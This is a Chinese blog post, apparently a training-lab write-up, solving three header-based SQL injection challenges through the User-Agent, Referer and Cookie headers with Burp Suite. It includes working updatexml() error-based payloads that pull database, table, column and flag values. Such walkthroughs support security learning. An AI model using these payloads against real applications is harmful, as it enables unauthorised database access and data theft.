头注入

工具:burpsuite

三关地址:

http://59.63.200.79:8812/New/HeaderBased/RankOne/sql-one/

http://59.63.200.79:8812/New/HeaderBased/RankTwo/sql-two/

http://59.63.200.79:8812/New/HeaderBased/RankThree/sql-three/

头注入User-Agent注入第一题:
和post注入一样,先burpsuite抓包,然后,单引号检测是否有报错和注入的可能性:


单引号报错,说明有注入的可行性。在这道题里,关于括号的闭合问题困扰了我好长时间,直到我看到了上图画红圈的地方有一个报错的未闭合的括号,我才知道前面一定有一个 (
括号,所以这里的闭合加注释掉后面的代码是:)#
解决了闭合问题后,我们需要看一看User-Agent部分需要几个参数:使用 ’)#、’,1 )#、’,1,1 )#
判断出User-Agent部分有三个参数:


无报错。
然后利用updatexml()函数爆出我们需要的数据:
首先查一下当前数据库:
‘,1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#


然后爆出我们需要的表名,像post注入第三关类似:
‘,1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1),0x7e),1))#


然后爆出我们需要的字段名:
‘,1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’zkaq’ limit 1,1),0x7e),1))#


然后爆出我们需要的flag:
‘,1,updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 16,1),0x7e),1))#

头注入地址注入第二题:
首先用zkz登录一下看看:


根据显示:这道题的注入可能在头文件中的Referer部分有注入的可能,我们单引号尝试是否有注入可能:


发现是有可能存在注入的,总结上一题的教训,快速找到了闭合方法:


然后和上一题类似的步骤,先找字段参数:


没有报错,说明是两个参数。然后使用updatexml()函数方法查库名,表名,字段名,flag:

头注入Cookie注入第三题
有了第二题的经验,我知道了头注入不止可以在User-Agent注入,也可以在别的地方注入,这个题提交zkz密码账号后,出现了与Cookie相关的东西,我们抓包尝试在cookie位置注入,一开始抓包cookie为:uname=’zkz’,一开始我验证报错向上面两个题一样将uname=’zkz’这一串都删除了,然后没有结果,后来查询后发现cookie是hash键值对,所以前面的uname不能删除,然后我们继续先加引号探测注入可能性:uname=’


Sql报错,有注入可能性。报错中没有括号需要闭合。
uname后面是一个值,所以不用探测字段数了,后面接or语句与上两题做法相似
uname=’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)# 查数据库


uname=’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1 ),0x7e),1)# 查表


uname=’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’zkaq’ limit 1,1 ),0x7e),1)# 查字段名


uname=’ or updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 14,1 ),0x7e),1)# 查flag


得出结果。

 

posted @ 2019-10-13 15:25  求知鱼  阅读(301)  评论(0编辑  收藏  举报